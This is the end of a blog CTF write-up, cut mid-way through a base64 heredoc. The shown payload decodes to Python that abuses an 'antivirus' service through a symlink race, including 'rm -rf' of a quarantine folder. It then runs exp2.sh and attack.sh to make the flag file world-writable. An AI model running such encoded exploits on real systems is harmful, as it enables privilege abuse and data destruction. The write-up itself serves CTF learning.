class="s">IG5vdCBvcy5wYXRoLmV4aXN0cyhmaWxlcGF0aCk6CiAgICAgICAgb3Muc3lzdGVtKGYibG4gLXMg </span></span></span><span class="line"><span class="cl"><span class="s">L2hvbWUvYW50aXZpcnVzL3NlcnZlci5weSB7ZmlsZXBhdGh9IikKCiMgcmVwbGFjZSBzZXJ2ZXIu </span></span></span><span class="line"><span class="cl"><span class="s">cHkKb3Muc3lzdGVtKCIvaG9tZS9jdGYvYmluL3NjYW4gL2hvbWUvY3RmL3NlcnZlci5weSIpCgpv </span></span></span><span class="line"><span class="cl"><span class="s">cy5zeXN0ZW0oInJtIC1yZiAvaG9tZS9hbnRpdmlydXMvcXVhcmFudGluZS8qIikKCiMgY2hlY2sK </span></span></span><span class="line"><span class="cl"><span class="s">b3Muc3lzdGVtKCJscyAtYWwgL2hvbWUvYW50aXZpcnVzL3F1YXJhbnRpbmUiKQpvcy5zeXN0ZW0o </span></span></span><span class="line"><span class="cl"><span class="s">ImxzIC1hbCAvaG9tZS9hbnRpdmlydXMvc2VydmVyLnB5Iik= </span></span></span><span class="line"><span class="cl"><span class="s">EOF</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl">base64 -d tmp &gt; go.py </span></span><span class="line"><span class="cl">python3 go.py</span></span></code></pre></td></tr></table> </div> </div><p>Finally:</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-shell" data-lang="shell"><span class="line"><span class="cl">./exp2.sh <span class="p">&amp;</span> </span></span><span class="line"><span class="cl">timeout <span class="m">60</span> ./attack.sh</span></span></code></pre></td></tr></table> </div> </div><p>If you&rsquo;re a lucky boy, you will find the <code>/home/antivirus/flag.txt</code> is <code>rwxrwxrwx</code>, now, capture the flag:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220508223638363.png' alt="image-20220508223638363"></p> <h2 class="heading-element" id="reference"><span>Reference</span> <a href="#reference" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><p>1、<a href="https://roderickchan.github.io"target="_blank" rel="external nofollow noopener noreferrer">My Blog<i class="fa-solid fa-external-link-alt fa-fw fa-xs ms-1 text-secondary" aria-hidden="true"></i></a></p> <p>2、<a href="https://ctf-wiki.org/"target="_blank" rel="external nofollow noopener noreferrer">Ctf Wiki<i class="fa-solid fa-external-link-alt fa-fw fa-xs ms-1 text-secondary" aria-hidden="true"></i></a></p> <p>3、<a href="https://github.com/RoderickChan/pwncli"target="_blank" rel="external nofollow noopener noreferrer">pwncli<i class="fa-solid fa-external-link-alt fa-fw fa-xs ms-1 text-secondary" aria-hidden="true"></i></a></p>